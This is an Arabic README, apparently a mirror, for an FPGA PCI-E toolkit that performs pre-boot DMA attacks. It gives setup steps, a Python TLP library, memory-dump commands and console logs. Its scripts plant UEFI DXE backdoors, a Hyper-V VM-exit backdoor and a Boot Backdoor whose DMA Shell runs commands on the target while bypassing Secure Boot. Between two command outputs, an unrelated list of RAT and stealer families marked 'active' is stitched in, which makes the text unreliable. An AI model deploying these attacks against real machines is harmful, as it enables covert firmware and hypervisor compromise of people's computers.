
PCI Express مجموعة أدوات اختراق DIY لـ Xilinx SP605. هذا المستودع هو أيضًا موطن لـ Hyper-V Backdoor وBoot Backdoor، راجع readme للحصول على الروابط والمعلومات.
معلومات عامة
المحتويات
إعداد لوحة SP605
إعداد البرمجيات
أمثلة
استخدام Python API
هجمات DMA العملية
هجمات Option ROM
استكشاف الأخطاء وإصلاحها
بناء المشروع من الكود المصدري
يحتوي هذا المستودع على مجموعة من الأدوات وإثباتات المفاهيم المتعلقة بناقل PCI-E و هجمات DMA. يتضمن تصميم HDL يطبق جهاز نقطة نهاية PCI-E الإصدار 1.1 يمكن التحكم فيه برمجياً لـ Xilinx SP605 Evaluation Kit مع FPGA Spartan-6. وبالمقارنة مع USB3380EVB الشائع، يتيح هذا التصميم العمل مع حزم TLP الخام (Transaction Level Packets) لناقل PCI-E وتنفيذ عمليات قراءة/كتابة ذاكرة كاملة 64-بت. ولتوضيح حالات الاستخدام التطبيقية لهذا التصميم، توجد أداة لهجمات DMA قبل الإقلاع على الأجهزة التي تعتمد على UEFI، والتي تسمح بتنفيذ برامج تشغيل UEFI DXE عشوائية أثناء تهيئة النظام الأساسي.
يوجد برنامج يوضح كيفية استخدام هجمات DMA قبل الإقلاع لحقن باب خلفي لمعالج مخارج VM في Hyper-V في نظامي التشغيل Windows 10 و11 الممكّنين بفعل على منصة تعمل مع تمكين UEFI Secure Boot. قد يكون إثبات المفهوم Hyper-V Backdoor المقدم مفيداً لأغراض الهندسة العكسية وتطوير الاستغلالات، فهو لفحص حالة الهايبرفايزر (VMCS، الذاكرة الفعلية/الافتراضية، السجلات، إلخ) من قسم الضيف وتنفيذ هجمات الهروب من الضيف إلى المضيف (guest to host VM escape).
برنامج آخر يوضح كيفية استخدام هجمات DMA قبل الإقلاع لحقن كود عشوائي في وضع المستخدم أو وضع النواة في نظام التشغيل Windows عن طريق اختطاف عملية الإقلاع الخاصة به باستخدام Boot Backdoor. يمكن لهذا البرنامج أيضاً العمل مع DMA Shell − وهي حمولة Boot Backdoor تسمح بتنفيذ أوامر وحدة التحكم عبر جهاز PCI-E المارق، ونقل الملفات، وتحميل ملفات تنفيذية تابعة لجهات خارجية إلى نظام التشغيل الهدف في وقت التشغيل.
💾 جزء Hyper-V Backdoor من هذا المشروع يحتوي على العديد من المزايا وخيارات النشر الأخرى غير الموصوفة في هذا المستند، ويمكنك استخدامه بشكل منفصل عن أدوات هجمات DMA حتى دون أي عتاد خاص: راجع توثيقه
💾 جزء Boot Backdoor من هذا المشروع يحتوي على العديد من المزايا وخيارات النشر الأخرى غير الموصوفة في هذا المستند، ويمكنك استخدامه بشكل منفصل عن أدوات هجمات DMA حتى دون أي عتاد خاص: راجع توثيقه
💾 يمكن أيضاً استخدام أدوات Python من هذا المشروع وتصاميم FPGA للوحات SP605 وZC706 وPicoEVB لنشر SMM Backdoor Next Gen مع هجوم DMA قبل الإقلاع. راجع توثيقه لمزيد من التفاصيل التقنية.
🛠️ يمكن أيضاً استخدام أدوات Python والحمولات من هذا المشروع، بما في ذلك Hyper-V Backdoor وBoot Backdoor، مع اللوحات المبنية على Xilinx Zynq-7000 SoC. يوجد مشروع منفصل لتصميم هجمات DMA لعدة التقييم Xilinx ZC706.
🛠️ يمكن أيضاً استخدام أدوات Python والحمولات من هذا المشروع، بما في ذلك Hyper-V Backdoor وBoot Backdoor، مع لوحة التطوير PicoEVB. يوجد مشروع Pico DMA منفصل − وهو غرسة عتادية مستقلة تماماً لهجمات DMA قبل الإقلاع لفتحة M.2 يمكنها تشغيل برامج تشغيل UEFI DXE عشوائية كحمولة.
s6_pcie_microblaze.xise − ملف مشروع Xilinx ISE.
microblaze/pcores/axis_pcie_v1_00_a/ − وحدة طرفية مخصصة تسمح بتوصيل كتلة نقطة النهاية المدمجة في PCI Express لـ FPGA Spartan-6 كدفق TLP خام بمعالج MicroBlaze اللين.
sdk/srec_bootloader_0/ − مُحمِّل إقلاع بسيط لمعالج MicroBlaze اللين، يستخدم تنسيق صور SREC وذاكرة الفلاش الخطية المدمجة في SP605 لتحميل وتخزين برنامج MicroBlaze الرئيسي.
sdk/main_0/ − البرنامج الرئيسي لمعالج MicroBlaze اللين، ويعيد توجيه حزم TLP الخام لناقل PCI-E إلى اتصال TCP باستخدام منفذ Ethernet المدمج في SP605 وحزمة شبكات lwIP.
python/pcie_lib.py − مكتبة Python للتفاعل عبر الشبكة مع برنامج MicroBlaze الرئيسي الذي يعمل على لوحة SP605، وتنفذ تجريدات متنوعة منخفضة المستوى وعالية المستوى للتعامل مع مستوى TLP الخاص بـ PCI-E من كود Python.
python/pcie_mem.py − برنامج سطر أوامر يقوم بتفريغ ذاكرة الوصول العشوائي للمضيف على الشاشة أو في ملف إخراج عن طريق إرسال حزم MRd TLP.
python/pcie_mem_scan.py − برنامج سطر أوامر يفحص المضيف الهدف بحثاً عن نطاقات الذاكرة الفعلية التي يمكن الوصول إليها عبر ناقل PCI-E، وهو مفيد للتدقيق الأمني للمنصات الممكّنة بـ IOMMU (أمثلة: 1, 2, 3, 4).
python/uefi_backdoor_simple.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن برنامج تشغيل UEFI وهمي في تسلسل إقلاع الجهاز الهدف.
python/uefi_backdoor_hv.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن الباب الخلفي لمعالج مخارج VM في Hyper-V في تسلسل إقلاع النظام الهدف.
python/uefi_backdoor_boot.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن Boot Backdoor في تسلسل إقلاع النظام الهدف.
python/payloads/DmaBackdoorSimple/ − الكود المصدري لبرنامج تشغيل UEFI DXE الوهمي لاستخدامه مع uefi_backdoor_simple.py.
python/payloads/DmaBackdoorHv/ − الكود المصدري لبرنامج تشغيل UEFI DXE لاستخدامه مع uefi_backdoor_hv.py، ويطبق وظائف Hyper-V Backdoor.
python/payloads/DmaBackdoorBoot/ − الكود المصدري لبرنامج تشغيل UEFI DXE لاستخدامه مع uefi_backdoor_boot.py، ويطبق وظائف Boot Backdoor.

وثيقة Xilinx UG526، المعروفة أيضاً باسم SP605 Hardware User Guide، هي أفضل صديق لك إذا أردت معرفة مزيد من التفاصيل حول استخدام وإعداد هذه اللوحة الرائعة.
لتحميل تدفق البتات (bitstream) من شريحة SPI flash المدمجة، تحتاج إلى إعداد SP605 بتحويل مفاتيح SW1 إلى الوضع 1-ON، 2-OFF.
الآن يجب عليك كتابة تدفق البتات الخاص بـ FPGA في فلاش SPI. استخدم ملف s6_pcie_microblaze.mcs إذا أردت القيام بذلك عبر JTAG بمساعدة أداة Xilinx iMPACT (انظر هذا البرنامج التعليمي)، أو s6_pcie_microblaze.bin إذا أردت استخدام مبرمج SPI flash خارجي متصل بترويسة J17 في SP605 (وهي الطريقة الأسرع والأكثر ملاءمة).
في حال استخدام مبرمج SPI flash متوافق مع flashrom، يمكنك استخدام برنامج flash_to_spi.py كغلاف لـ flashrom:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) ملف البت ستريم (Bitstream) الذي تمت كتابته إلى SPI flash في الخطوة السابقة يتضمن محمّل إقلاع مخصصًا لنواة MicroBlaze (انظر [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) لمزيد من التفاصيل). يسمح هذا المحمّل بتكوين خيارات اللوحة وكتابة البرنامج الرئيسي إلى الفلاش الخطي عبر منفذ UART الخاص بـ SP605.
لإقلاع MicroBlaze في وضع التحديث، يجب فصل مبرمج SPI flash وتشغيل اللوحة أثناء الضغط على زر `SW4`، ثم تحرير `SW4` عندما يضيء مؤشر LED `DS6` الذي يشير إلى تفعيل وضع التحديث.
4) لكتابة البرنامج الرئيسي (انظر [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) لمزيد من التفاصيل) إلى الفلاش الخطي، تحتاج إلى توصيل جهاز الكمبيوتر الخاص بك بمنفذ USB الخاص بجسر UART في SP605 وتشغيل برنامج `bootloader_ctl.py` مع الخيار `--flash`:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py مع خيار --config:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) الآن يمكنك الخروج من وضع التحديث وتشغيل برنامج MicroBlaze الرئيسي من الفلاش الخطي:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
يطبع البرنامج الرئيسي رسائل الخطأ الخاصة به إلى UART المدمج، ويمكنك استخدام خيار --console من bootloader_ctl.py لمراقبة هذه الرسائل في الوقت الفعلي.
قم بتوصيل SP605 بمنفذ PCI-E الخاص بالكمبيوتر المستهدف وقم بتشغيل الكمبيوتر. عند نجاح إنشاء رابط PCI-E سترى مؤشري LED DS3 و DS4 مضاءين.
قم بتشغيل أمر lspci على الكمبيوتر المستهدف للتأكد من أن نظام التشغيل يرى بطاقتك كجهاز PCI-E مناسب:```
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
JTAG related notes: لوحة SP605 تحتوي على واجهة USB إلى JTAG مدمجة متوافقة مع iMPACT وأدوات Xilinx الأخرى. ومع ذلك، فهي ليست جيدة جدًا، لذا إذا كنت تخطط لاستخدام JTAG المدمج لبرمجة فلاش SPI كما هو موصوف في برنامج Xilinx التعليمي، فيجب عليك القيام بالأمور التالية:
* قم بإزالة أي جهاز متصل بمنفذ FMC الخاص بلوحة SP605 أثناء العمل مع JTAG.
* في إعدادات Xilinx iMPACT، قم بتهيئة واجهة JTAG لاستخدام سرعة 750 كيلوهرتز (عند سرعة أعلى تعمل بشكل غير مستقر).
يمكن أيضًا توصيل لوحة Xilinx SP605 بالمنفذ الخارجي Thunderbolt 2/3 الخاص بالكمبيوتر المستهدف باستخدام [حاوية توسعة Thunderbolt إلى PCI-E](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). يرجى ملاحظة أن SP605 هي [لوحة كبيرة نسبيًا](https://www.xilinx.com/support/answers/53808.html) لذا قد لا تناسب بعض الحاويات. على سبيل المثال، أستخدم حاوية [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) الخاصة بـ Thunderbolt 2 والتي تعمل بشكل جيد مع جهاز MacBook Pro الخاص بي.
## تكوين البرنامج
توجد أدوات Python للتفاعل مع اللوحة وتنفيذ مصغّر لطبقة معاملات PCI-E في مجلد `python`. نظرًا لأن برنامج MicroBlaze الرئيسي يستخدم اتصال TCP لنقل حزم TLP، فلا حاجة إلى أي برامج تشغيل أو تبعيات خارجية، ويمكنك استخدام كود Python المرفق على أي نظام تشغيل.
لضبط عنوان IP ومنفذ اللوحة المستهدفة، عدّل المتغير `PCIE_TO_TCP_ADDR` في ملف `python/pcie_lib_config.py`.
## أمثلة
معلومات حول جهاز PCI-E المطبَّق بواسطة تدفق البتات الخاص بـ FPGA المرفق (تمامًا كما يراه الكمبيوتر المستهدف):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
مثال لجهاز PCI-E كما يظهر في معلومات أجهزة Apple macOS عند توصيله بمنفذ Thunderbolt 2 في MacBook Pro:

في جانب المهاجم، يمكنك استخدام برنامج pcie_cfg.py لعرض سجلات مساحة التكوين لجهاز PCI-E:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
* Bifrost – نشط
* Nanocore – نشط
* Asyncrat – نشط
* Remcos – نشط
* VipRAT – نشط
* NjRAT – نشط
* Bitrat – نشط
* Xworm – نشط
* Quasar – نشط
* Revenge – نشط
* Krypton – نشط
* DCRat – نشط
* MSoffice – نشط
* Cstealer – نشط
* Formbook – نشط
* Matiex – نشط
* Stealc – نشط
* Sectop – نشط
* Fickerstealer – نشط
* Eternity – نشط
* Mystic – نشط
* Redline – نشط
* Purelog – نشط
* BlankGrabber - نشط
* Lgoog – نشط
* Darkcomet – نشط
* Creal – نشط
* LimeRAT – نشط
* StormKitty – نشط
* Taurus – نشط
* Darkcloud – نشط```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
إليك مثال على تفريغ 0x80 بايت من الذاكرة الفعلية للكمبيوتر المستهدف بدءًا من العنوان صفر باستخدام برنامج pcie_mem.py:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
مثال على حفظ الذاكرة الفعلية في الملف:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
البرنامج المقدَّم بلغة Python يستخدم بعض متغيرات البيئة لتجاوز القيم الافتراضية لخيارات معيّنة:
DEBUG_TLP − إذا تم تعيينه إلى 1، فاطبع تفريغ حزم TLP المرسلة (TX) والمستقبلة (RX) إلى الإخراج القياسي.
TARGET_ADDR − سلسلة <address>:<port> لتجاوز عنوان IP الخاص باللوحة المحدد في ملف python/pcie_lib_config.py.
توفر مكتبة Python pcie_lib.py واجهة برمجة تطبيقات منخفضة المستوى لإرسال واستقبال حزم TLP الخاصة بـ PCE-E، إلى جانب تجريدات لأنواع TLP المختلفة وواجهة برمجة تطبيقات عالية المستوى للوصول إلى الذاكرة الفعلية.
يوضح البرنامج التالي كيفية العمل مع حزم TLP الأولية باستخدام pcie_lib.py:```python
from pcie_lib import *
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
bus_id = dev.get_bus_id()
tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address
dev.write(tlp_tx)
tlp_rx = dev.read(raw = True)
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
print('%.8x' % tlp_rx[3])
dev.close()
التعامل مع TLPs باستخدام تجريدات عالية المستوى أكثر ملاءمة:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
الوصول إلى الذاكرة الفعلية باستخدام API عالية المستوى:```python
dev.mem_write(0x1000, '\xAA' * 0x10)
dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)
print(repr(dev.mem_read(0x1000, 0x10)))
print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
## هجمات DMA العملية
أحد الأهداف الرئيسية لهذا المشروع هو توفير مجموعة أدوات مرنة ومريحة لتنفيذ ما يسمى بهجمات DMA قبل الإقلاع (pre-boot DMA attacks)، وبالمقارنة مع هجمات DMA العادية، فإنها تستهدف بيئة ما قبل الإقلاع لمرحلة DXE الخاصة بـ UEFI في تهيئة المنصة بدلاً من نظام التشغيل نفسه. تسمح هذه الهجمات بتشغيل تعليمات برمجية خبيثة في مراحل مبكرة نسبيًا عندما لا تكون [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) وميزات الأمان الأخرى لنظام التشغيل مهيأة بعد.
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
تتيح هجمات DMA قبل الإقلاع تجاوز ميزات الأمان المختلفة للبرامج الثابتة للمنصة مثل التمهيد الآمن لـ UEFI أو [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).
يقوم برنامج Python `uefi_backdoor_simple.py` بحقن برنامج تشغيل UEFI DXE وهمي موجود في مجلد `payloads/DmaBackdoorSimple` في تسلسل إقلاع النظام المستهدف باستخدام هجوم DMA قبل الإقلاع الموصوف أعلاه. لاستخدام هذا البرنامج، يجب تنفيذ الخطوات التالية:
1) قم بإيقاف تشغيل الكمبيوتر المستهدف.
2) قم بتوصيل لوحة SP605 بمنفذ PCI-E (أو Mini PCI-E، أو M.2) في الكمبيوتر المستهدف.
3) قم بتشغيل اللوحة وتأكد من تهيئة البرنامج الثابت Microblaze بنجاح عن طريق اختبار الاتصال (ping) بعنوان IP الذي تم تحديده أثناء تكوين اللوحة باستخدام برنامج `bootloader_ctl.py`.
4) قم بتشغيل الأمر التالي لبدء هجوم DMA قبل الإقلاع:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi

مثال على مخرجات وحدة التحكم الخاصة بـ uefi_backdoor_simple.py بعد الهجوم الناجح:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
يمكن استخدام برنامج التشغيل الوهمي لـ UEFI DXE هذا مع برنامج `uefi_backdoor_simple.py` كمشروع هيكلي لتنفيذ هجمات متنوعة مثل حقن كود خبيث في محمل إقلاع نظام التشغيل أو النواة أو الهايبرفايزر.
هناك أيضًا برنامج Python آخر − `uefi_backdoor_hv.py`، يقوم بحقن باب خلفي لمعالج خروج VM الخاص بـ Hyper-V الموجود في مجلد `payloads/DmaBackdoorHv` في تسلسل إقلاع النظام المستهدف بنفس الطريقة تمامًا كما يفعل برنامج تشغيل UEFI DXE الوهمي السابق. إليك مثال على استخدامه:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
برنامج تشغيل UEFI DXE الخاص بـ Hyper-V Backdoor يطبع أيضًا رسائل التصحيح الخاصة به على الشاشة. بالإضافة إلى ذلك، يمكنك استخدام خيار --debug-output في uefi_backdoor_hv.py لقراءة رسائل التصحيح هذه من الذاكرة الفعلية للنظام المستهدف وطباعتها إلى stdout:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
للحصول على مزيد من المعلومات حول حالات استخدام وميزات Hyper-V Backdoor [راجع ملف README الخاص به](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) مع معلومات مفصّلة.
يُستخدم برنامجا بايثون `uefi_backdoor_boot.py` و`uefi_backdoor_boot_shell.py` لحقن Boot Backdoor في تسلسل إقلاع النظام المستهدف. يتيح Boot Backdoor تشغيل أي كود في وضع المستخدم أو وضع النواة ضمن نظام التشغيل Windows، كما تتيح حمولته المسماة DMA Shell تنفيذ أوامر وحدة التحكم ونقل الملفات. لنشر Boot Backdoor مع DMA Shell باستخدام هجوم DMA قبل الإقلاع، عليك تنفيذ الخطوات نفسها الموضحة أعلاه ولكن باستخدام برنامج `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
